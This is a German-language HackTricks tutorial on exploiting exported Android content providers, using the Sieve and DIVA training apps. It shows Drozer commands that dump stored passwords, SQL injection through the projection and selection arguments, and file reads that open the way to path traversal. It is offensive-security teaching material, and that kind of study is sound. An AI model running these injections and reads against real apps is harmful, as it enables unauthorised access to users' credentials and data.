Exploiting Content Providers

Ausnutzen von Content Providern

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Einführung

Daten werden auf Anfrage von einer Anwendung an andere durch eine Komponente namens Content Provider bereitgestellt. Diese Anfragen werden über die Methoden der Klasse ContentResolver verwaltet. Content Provider können ihre Daten an verschiedenen Orten speichern, wie z.B. in einer Datenbank, Dateien oder über ein Netzwerk.

In der Datei Manifest.xml ist die Deklaration des Content Providers erforderlich. Zum Beispiel:

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

Um auf content://com.mwr.example.sieve.DBContentProvider/Keys zuzugreifen, ist die READ_KEYS Berechtigung erforderlich. Interessanterweise ist der Pfad /Keys/ im folgenden Abschnitt zugänglich, der aufgrund eines Fehlers des Entwicklers nicht geschützt ist. Dieser hat /Keys gesichert, aber /Keys/ deklariert.

Vielleicht können Sie auf private Daten zugreifen oder eine Schwachstelle ausnutzen (SQL-Injection oder Pfadtraversierung).

Informationen von offengelegten Inhaltsanbietern erhalten

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

Es ist möglich, herauszufinden, wie man auf den DBContentProvider zugreifen kann, indem man URIs mit "content://" beginnt. Dieser Ansatz basiert auf Erkenntnissen, die durch die Verwendung von Drozer gewonnen wurden, wo wichtige Informationen im /Keys Verzeichnis gefunden wurden.

Drozer kann mehrere URIs erraten und ausprobieren:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Du solltest auch den ContentProvider-Code überprüfen, um nach Abfragen zu suchen:

Wenn du keine vollständigen Abfragen finden kannst, könntest du auch überprüfen, welche Namen vom ContentProvider in der onCreate-Methode deklariert sind:

Die Abfrage wird wie folgt aussehen: content://name.of.package.class/declared_name

Datenbankgestützte Content-Provider

Vermutlich werden die meisten Content-Provider als Schnittstelle für eine Datenbank verwendet. Daher könntest du, wenn du darauf zugreifen kannst, in der Lage sein, Informationen zu extrahieren, zu aktualisieren, einzufügen und zu löschen. Überprüfe, ob du auf sensible Informationen zugreifen kannst oder versuche, sie zu ändern, um Autorisierungsmechanismen zu umgehen.

Beim Überprüfen des Codes des Content Providers solltest du auch nach Funktionen suchen, die wie folgt benannt sind: query, insert, update und delete:

Da du in der Lage sein wirst, sie aufzurufen

Inhaltsabfrage

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

Inhalte einfügen

Durch Abfragen der Datenbank lernen Sie die Namen der Spalten kennen, dann können Sie Daten in die DB einfügen:

Beachten Sie, dass Sie bei Einfüge- und Aktualisierungsvorgängen --string verwenden können, um einen String anzugeben, --double für eine Dezimalzahl, --float, --integer, --long, --short, --boolean

Inhalte aktualisieren

Indem Sie die Namen der Spalten kennen, können Sie auch die Einträge ändern:

Inhalte löschen

SQL Injection

Es ist einfach, SQL-Injektionen (SQLite) zu testen, indem Sie die Projektion und Auswahlfelder manipulieren, die an den Content Provider übergeben werden. Beim Abfragen des Content Providers gibt es 2 interessante Argumente zur Suche nach Informationen: --selection und --projection:

Sie können versuchen, diese Parameter zu missbrauchen, um nach SQL-Injektionen zu testen:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Automatische SQLInjection-Entdeckung durch Drozer

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

Dateisystem-gestützte Content Provider

Content Provider können auch verwendet werden, um auf Dateien zuzugreifen:

Datei lesen

Sie können Dateien vom Content Provider lesen

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Pfadtraversierung

Wenn Sie auf Dateien zugreifen können, können Sie versuchen, eine Pfadtraversierung zu missbrauchen (in diesem Fall ist dies nicht notwendig, aber Sie können versuchen, "../" und ähnliche Tricks zu verwenden).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Automatische Entdeckung von Pfadtraversierung durch Drozer

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated